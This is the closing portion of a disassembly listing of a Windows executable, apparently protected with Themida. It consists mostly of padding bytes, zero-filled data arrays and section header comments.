66h, 26h jb short near ptr loc_607FC4+1 db 66h, 26h jb short near ptr loc_607FC8+1 db 66h, 26h jb short near ptr loc_607FCC+1 db 66h, 26h int 3 ; Trap to Debugger ; --------------------------------------------------------------------------- db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'лллллллл',0 align 4 dd 1A77h dup(0) db 0 byte_610E61 db 3 dup(0) ; DATA XREF: Themida_:00593CB8o dd 7AFh dup(0) dword_612D20 dd 0FCBh dup(0) db 2 dup(0) word_616C4E dw 0 ; DATA XREF: ___:off_444324o dd 3034h dup(0) dword_622D20 dd 0B8h dup(0) Themida_ ends ; Section 5. (virtual address 00223000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00223000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 623000h align 2000h _idata2 ends end start